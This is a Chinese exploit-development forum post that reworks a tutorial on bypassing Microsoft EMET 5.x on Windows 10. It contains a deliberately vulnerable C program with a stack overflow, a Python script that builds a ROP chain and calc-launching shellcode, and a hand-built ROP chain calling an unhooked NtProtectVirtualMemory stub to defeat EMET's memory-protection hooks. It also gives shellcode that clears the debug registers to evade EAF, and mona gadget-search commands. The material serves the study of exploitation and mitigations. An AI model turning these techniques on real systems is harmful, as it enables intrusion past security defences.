原文链接:
http://expdev-kiuhnm.rhcloud.com/2015/05/29/emet-5-2-2/
翻译链接:
http://bbs.pediy.com/showthread.php?t=207189
本文实验环境为win10,如果是win7,则会与原文保持一样的结果。
首先介绍一下EMET:
1. 数据执行保护(DEP)
如果指令位于被标记为不可执行的内存区域,就阻止它们的执行.
2. 结构化异常处理程序覆盖保护(SEHOP)
对覆盖 Windows 结构化异常处理程序的漏洞利用技术进行防御.
3. 空页面保护(NullPage)
预分配空页面,防止攻击者利用它来进行恶意利用.
4. 堆喷射保护(HeapSpray)
将通常被攻击者用来分配恶意代码的内存区域预先分配了.(例如,0x0a040a04;0x0a0a0a0a;0x0b0b0b0b;0x0c0c0c0c;0x0d0d0d0d;0x0e0e0e0e;0x04040404;0x05050505;0x06060606;0x07070707;0x08080808;0x09090909;0x20202020;0x14141414)
5. 导出地址表访问过滤(EAF)
可以对访问导出地址表(EAT)的调用代码设置规则.
6. 导出地址表访问过滤增强版(EAF+)
阻止掉常被用于漏洞利用过程中通过读取导入,导出表来获取常见模块中 API 函数地址
的操作.
7. 强制地址空间布局随机化(MandatoryASLR)
通过随机化模块加载到内存中的位置,以此来限制攻击者预先确定内存地址的能力.
8. 由低而上的地址空间布局随机化(BottomUpASLR)
通过随机化自下而上分配的基地址来增强强制性地址空间布局随机化(MandatoryASLR)
的缓解性(Mitigation).
9. Load Library 保护(LoadLib)
阻止掉位于 UNC(通用命名规则)路径下的模块(即,\\evilsite\bad.dll)-返回导向编程(ROP)攻击中的通用技术.
10. 内存保护(MemProt)
阻止掉将位于栈中的内存空间标记为可执行的操作-返回导向编程(ROP)攻击中的通用技
术.
11. ROP 调用者检查(Caller)
阻止掉直接通过一个 RET指令来调用的判定/关键函数的执行-返回导向编程(ROP)攻击中的通用技术.
12. ROP 模拟执行流(SimExecFlow)
在返回地址后再生一个执行流,尝试检测返回导向编程(ROP)攻击.
13. 堆栈支点(StackPivot)
检查栈指针是否被修改,转而去指向攻击者控制的内存区域了-返回导向编程(ROP)攻击
中的通用技术.
14. 减少攻击面(ASR)
防止规定的模块加载到受保护进程的地址空间.
接下来是我们实验用的程序代码:
#include <cstdio>
#include <Windows.h>
#include <conio.h>
_declspec(noinline) int f() {
char name[32];
printf("Reading name from file...\n");
LoadLibrary(L"msvcr120.dll");//原文并没有这个,但是没有这个,我们的程序不会加载这个模块,由于我们要用到这个模块,所以我手动加载了^-^
FILE *f = fopen("c:\\tmp\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);//这就是我们的溢出点了
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
getch();
return 0;
}
int main() {
char moreStack[10000];//避免我们的payload太大,导致文件读取的时候出错
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return f();
}
然后开始设置我们的编译条件:关闭GS,开启DEP,关闭ASLR(因为要解决ASLR需要一些信息泄露):
项目-》属性-》配置属性-》c/c++-》代码生成-》缓冲区安全检查(NO)
项目-》属性-》配置属性-》链接器-》高级-》数据执行保护(YES)and随机基质(NO)
好了,编译完后,先让我们获取一下msvcr120.dll的基址。因为该模块是有aslr的,所以每次加载的时候基址都会变。
#include <windows.h>
#include <conio.h>
int main() {
HMODULE hMod =LoadLibrary("msvcr120.dll");
printf("msvcr120 = %08x\n", hMod);
printf("--- press any key ---\n");
_getch();
return 0;
}
获取了基址后应用到下面的脚本中:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x605a0000#[B]这里是我们实际获得的地址,使用时需要修改这个值[/B]
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
code_size = len(shellcode)
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
f.write(name)
write_file(r'c:\tmp\name.dat')#你可以自己修改文件地址,注意要和前面的cpp文件一致
如果一切都没有问题,那么运行上面的python脚本后,再打开我们的程序,就会弹出计算器了^_^。
接下来下载EMET 5.5
https://download.microsoft.com/download/8/E/E/8EEFD9FC-46B1-4A8B-9B5D-13B4365F8CA0/EMET%20Setup.msi
然后在左上方的apps里面选择 add application,把我们编译的文件添加进去,并勾选
除EAF,EAF+和ASR、fonts的所有选项。当然了,关键还是那个Memport。
然后再运行我们的程序,发现最后崩溃了。怎么回事呢,打开ImmunityDebugger跟进到f函数的ret处,单步执行直到pushad,retn后,会得到如下的情况
这本来是跳转到VirtualProtect函数,却出现了一个奇怪的跳转,然后下面是正常时候的样子
可以明显看到VirtualProtect被hook修改了,看来是EMET干的好事。继续跟踪到图中76717a56处的跳转:
可以看到又是一个跳转指令。下面是原始的指令:
再次跟进到ntdll!NtProtectVirtualMemory:
又被hook了,下面是原函数
可以看到call edx(0x77eab5b0),继续跟进后就不像普通的函数了,而且并没有被hook。
那么,我们先把指令修改回原指令,运行一遍,发现没问题了。所有问题就出在这个hook的跳转上了。
从这里开始,我的情况就和原文就不一样了,原文是会得到一个
call fs:[0c0h]的调用,但是我的是
call edx的一个固定地址
解决EMET的办法就是直接调用call edx处的指令,就可以绕过EMET的hook了。但是我们可以看到,在调用ntdll!NtProtectVirtualMemory时,传入了好几个参数,这些参数的关系如下:
所以我们原来的payload不能用了,需要重新构造了。下面是我们新payload的结构:
gadgets
args:
|0xFFFFFFFF|-1
|0xaaaaaaaa|&addr
|0xaaaaaaaa|&size
|0x0000040|execute属性
|0x0180200|随意一个可写地址
args_end:
|当前栈的地址|addr
|shellcode的大小|size
|shellcode|
gadget的内容如下:
ecx=esp
add ecx,gadgets+args的大小,使ecx指向args_end
[ecx]=edx=ecx,args_end=&args_end,即当前栈址
ecx=ecx-10H,ecx指向&addr
[ecx]=edx,&addr指向了args_end
ecx+=4,ecx指向了&size
edx+=4,edx指向了size
[ecx]=edx,&size指向了size
至此我们的栈参数就布置好了,接下来只需要call edx(0x77eab5b0)了。
原文使用了很复杂的方式去找那个call fs:[0c0H],但是我这里由于一个简单的call 固定地址,所以并不需要那么麻烦,只需要eax=0x77eab5b0,call eax就解决了。
但是我们还需要一个ret 14类似的指令来跳过我们堆栈的地址,为了不重复造轮子,我还是沿用了原文找call fs:[0c0H]的方法,找到我们的call edx来解决问题。(具体方法可以参考原文。)
我电脑对应的关系如下:
EAX = ntdll!RtlExitUserThread
EAX +=49//offset of ntdll!NtQueryInformationThread
EAX+=[EAX]+5//address 0f ntdll!NtQueryInformationThread
EAX+=05 //mov edx,77EAB5B0 # call edx #但是完成eax+4+1的指令会浪费很多空间,为了省空间,我决定找一个pop edx,retn来等效它。于是使EAX+=10来指向call edx。
下面开始构造我们需要的gadgets:
[COLOR="red"][B]栈参数匹配:[/B][/COLOR]
ecx=esp:
pop ecx,
0xffffffff
and ecx,esp
add ecx,gadgets+args的大小:使ecx指向args_end
pop ebx,
75*4,
add ecx,ebx
[ecx]=edx=ecx args_end=&args_end,即当前栈址
mov eax,ecx
xchg eax,edx
mov [ecx],edx
ecx=ecx-10H:ecx指向&addr
pop ebx,
0xfffffff0
add ecx,ebx
[ecx]=edx,&addr指向了args_end
mov [ecx],edx
ecx+=4,ecx指向了&size
inc ecx...
edx+=4,edx指向了size
inc edx...
[ecx]=edx,&size指向了size
mov [ecx],edx
[COLOR="red"][B]call edx:[/B][/COLOR]
EAX = ntdll!RtlExitUserThread
pop eax,
0x7056507c IAT of ntdll!RtlExitUserThread
EAX +=49//offset of ntdll!NtQueryInformationThread
add eax,8 /*6次
add eax,1
EAX+=[EAX]+5+0a//address 0f ntdll!NtQueryInformationThread
mov eax,[eax]
add eax,4//这个很浪费空间
add eax,8
add eax,1/*2
pop edx
[COLOR="Red"]0x77eab5b0[/COLOR]//这个地址位于ntdll模块,系统每次重启都会改变,但是只要没有重启就都是不变的
xchg eax, ebx
pop eax
0x50//来自于前面调用call edx时的参数
jmp ebx
[COLOR="Red"] jmp esp//这个后面是不能用的[/COLOR]
[B]args:[/B]
.........
[B]args_end:[/B]
addr
size
[COLOR="Red"][B]A_:[/B][/COLOR]
...
[B]shellcode[/B]
上述代码执行到call edx,ret 14后,esp此时是指向args_end的位置,如果说让我们的args_end直接指向的是shellcode,那么jmp esp就可以直接跳到shellcode了。可惜,call edx执行后,还会修改args_end指向的数据,所以我们不能这么做,只能考虑其他方法。
幸好,args_end+8的位置就是
A_,使用pop pop retn,就可以跳到
A_的位置,然后使eax=esp+XX,call eax的方法就可以跳转到我们的shellcode了,万岁~\(≧▽≦)/~。
文中那些替代指令可以在ImmunityDebugger调试器命令的mona模块来找:
!mona findwild -s "pop eax#*#retn" *代表中间可以是任意指令
!mona find -type bin -s '\x58\xc3' 等效于pop eax,retn
有时候不一定能找到,所以可以尝试
!mona rop
!mona seh
!mona stackpivot
查看是否有满意的结果。
最终的payload在这里:
write_name.txt
测试用编译好的program如下:
cross_EMET.txt
记得改后缀 ^_^
原文有一个EAF的绕过,但是我测试的时候,附加调试器时会弹出计算器,不附加时却不能,我不明白为什么。下面的片段替代write_name.txt中被我注释的那部分,就能实现dr清零的操作了。当然,发现的过程我这就不主要叙述了。
disable_EAF = (
"\xB8\x72\x01\x00\x00" + # mov eax,172h
"\x33\xC9" + # xor ecx,ecx
"\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh
"\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h
"\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx
"\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx
"\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx
"\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx
"\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx
"\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx
"\x54" + # push esp
"\x6A\xFE" + # push 0FFFFFFFEh
"\x50" + # a return addr,but never used
"\xba\xb0\xb5\xea\x77" + # MOV EDX,77EAB5B0h
"\xff\xd2" + # call edx
"\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h,never mind
)
[培训]《安卓高级研修班(网课)》月薪三万计划,掌
握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法